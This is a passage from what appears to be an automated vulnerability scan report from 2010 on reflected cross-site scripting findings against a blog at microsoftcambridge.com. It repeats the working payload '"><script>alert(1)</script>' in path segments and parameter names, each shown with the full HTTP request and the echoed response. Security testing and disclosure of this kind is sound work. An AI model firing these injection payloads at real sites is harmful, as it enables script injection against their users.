<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/04/14/fueling-the-masschallenge-and-supercharging-the-innovation-ecosystem-in-massachusetts6f218\"><script>alert(1)</script>c52654b73ed/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
1.16. http://microsoftcambridge.com/blog/site/2010/04/14/fueling-the-masschallenge-and-supercharging-the-innovation-ecosystem-in-massachusetts/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79168"><script>alert(1)</script>22cc70a5967 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 79168\"><script>alert(1)</script>22cc70a5967 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/04/14/fueling-the-masschallenge-and-supercharging-the-innovation-ecosystem-in-massachusetts/?79168"><script>alert(1)</script>22cc70a5967=1 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:12:30 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32455
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... t="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/04/14/fueling-the-masschallenge-and-supercharging-the-innovation-ecosystem-in-massachusetts/?79168\"><script>alert(1)</script>22cc70a5967=1&title=Fueling the MassChallenge and Supercharging the Innovation Ecosystem in Massachusetts | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e7e9"><script>alert(1)</script>6cf50157e79 was submitted in the REST URL parameter 7. This input was echoed as 3e7e9\"><script>alert(1)</script>6cf50157e79 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/04/14/fueling-the-masschallenge-and-supercharging-the-innovation-ecosystem-in-massachusetts/feed3e7e9"><script>alert(1)</script>6cf50157e79/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:13:02 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:13:02 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23963
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/04/14/fueling-the-masschallenge-and-supercharging-the-innovation-ecosystem-in-massachusetts/feed3e7e9\"><script>alert(1)</script>6cf50157e79/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc1dc"><script>alert(1)</script>71728021632 was submitted in the REST URL parameter 2. This input was echoed as cc1dc\"><script>alert(1)</script>71728021632 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/sitecc1dc"><script>alert(1)</script>71728021632/2010/04/27/introducing-docs...-for-facebook/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:38 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:41 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11655
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/sitecc1dc\"><script>alert(1)</script>71728021632/2010/04/27/introducing-docs...-for-facebook/&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5744d"><script>alert(1)</script>3f7b6d882a2 was submitted in the REST URL parameter 6. This input was echoed as 5744d\"><script>alert(1)</script>3f7b6d882a2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/04/27/introducing-docs5744d"><script>alert(1)</script>3f7b6d882a2...-for-facebook/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:46 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:48 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23615
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/04/27/introducing-docs5744d\"><script>alert(1)</script>3f7b6d882a2...-for-facebook/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
1.20. http://microsoftcambridge.com/blog/site/2010/04/27/introducing-docsā?¦-for-facebook/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d917"><script>alert(1)</script>67b830c629a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6d917\"><script>alert(1)</script>67b830c629a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/04/27/introducing-docs...-for-facebook/?6d917"><script>alert(1)</script>67b830c629a=1 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:12:30 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31637
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/04/27/introducing-docs...-for-facebook/?6d917\"><script>alert(1)</script>67b830c629a=1&title=Introducing Docs... for Facebook | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4bfe"><script>alert(1)</script>c2baf7e88b0 was submitted in the REST URL parameter 2. This input was echoed as a4bfe\"><script>alert(1)</script>c2baf7e88b0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/sitea4bfe"><script>alert(1)</script>c2baf7e88b0/2010/04/28/better-faster-cheaper-...-entrepreneurship-education/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:45 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:47 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11775
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/sitea4bfe\"><script>alert(1)</script>c2baf7e88b0/2010/04/28/better-faster-cheaper-...-entrepreneurship-education/&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5165f"><script>alert(1)</script>196b37a6fbb was submitted in the REST URL parameter 6. This input was echoed as 5165f\"><script>alert(1)</script>196b37a6fbb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/04/28/better-faster-cheaper-5165f"><script>alert(1)</script>196b37a6fbb...-entrepreneurship-education/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:50 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:52 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23735
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/04/28/better-faster-cheaper-5165f\"><script>alert(1)</script>196b37a6fbb...-entrepreneurship-education/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
1.23. http://microsoftcambridge.com/blog/site/2010/04/28/better-faster-cheaper-ā?¦-entrepreneurship-education/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2c5d"><script>alert(1)</script>ab035794e3b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c2c5d\"><script>alert(1)</script>ab035794e3b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/04/28/better-faster-cheaper-...-entrepreneurship-education/?c2c5d"><script>alert(1)</script>ab035794e3b=1 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:12:35 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32786
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/04/28/better-faster-cheaper-...-entrepreneurship-education/?c2c5d\"><script>alert(1)</script>ab035794e3b=1&title=Better, Faster, Cheaper ... Entrepreneurship Education | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68abc"><script>alert(1)</script>dd05134e78 was submitted in the REST URL parameter 2. This input was echoed as 68abc\"><script>alert(1)</script>dd05134e78 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site68abc"><script>alert(1)</script>dd05134e78/2010/05/25/nerd-is-expanding-in-kendall-square/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:34 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:37 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11667
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site68abc\"><script>alert(1)</script>dd05134e78/2010/05/25/nerd-is-expanding-in-kendall-square/&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8364"><script>alert(1)</script>bb9d27b921 was submitted in the REST URL parameter 6. This input was echoed as c8364\"><script>alert(1)</script>bb9d27b921 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/05/25/nerd-is-expanding-in-kendall-squarec8364"><script>alert(1)</script>bb9d27b921/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:42 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:45 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23627
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/05/25/nerd-is-expanding-in-kendall-squarec8364\"><script>alert(1)</script>bb9d27b921/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
1.26. http://microsoftcambridge.com/blog/site/2010/05/25/nerd-is-expanding-in-kendall-square/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5109b"><script>alert(1)</script>9ec870a37aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5109b\"><script>alert(1)</script>9ec870a37aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/05/25/nerd-is-expanding-in-kendall-square/?5109b"><script>alert(1)</script>9ec870a37aa=1 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:12:27 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 35525
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/05/25/nerd-is-expanding-in-kendall-square/?5109b\"><script>alert(1)</script>9ec870a37aa=1&title=NERD is Expanding in Kendall Square! | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c8f0"><script>alert(1)</script>3c79528293d was submitted in the REST URL parameter 7. This input was echoed as 6c8f0\"><script>alert(1)</script>3c79528293d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/05/25/nerd-is-expanding-in-kendall-square/feed6c8f0"><script>alert(1)</script>3c79528293d/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:55 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:57 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23663
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/05/25/nerd-is-expanding-in-kendall-square/feed6c8f0\"><script>alert(1)</script>3c79528293d/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2d63"><script>alert(1)</script>acd695fdd9e was submitted in the REST URL parameter 2. This input was echoed as a2d63\"><script>alert(1)</script>acd695fdd9e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/sitea2d63"><script>alert(1)</script>acd695fdd9e/2010/06/08/individuals-make-the-difference-celebrating-innovation-month-in-new-england/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:34 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:37 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11913
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/sitea2d63\"><script>alert(1)</script>acd695fdd9e/2010/06/08/individuals-make-the-difference-celebrating-innovation-month-in-new-england/&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9428d"><script>alert(1)</script>820530aacdc was submitted in the REST URL parameter 6. This input was echoed as 9428d\"><script>alert(1)</script>820530aacdc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/06/08/individuals-make-the-difference-celebrating-innovation-month-in-new-england9428d"><script>alert(1)</script>820530aacdc/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:42 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:45 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23873
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/06/08/individuals-make-the-difference-celebrating-innovation-month-in-new-england9428d\"><script>alert(1)</script>820530aacdc/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
1.30. http://microsoftcambridge.com/blog/site/2010/06/08/individuals-make-the-difference-celebrating-innovation-month-in-new-england/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac338"><script>alert(1)</script>fe2539422c7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ac338\"><script>alert(1)</script>fe2539422c7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/06/08/individuals-make-the-difference-celebrating-innovation-month-in-new-england/?ac338"><script>alert(1)</script>fe2539422c7=1 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:12:27 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 33994
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
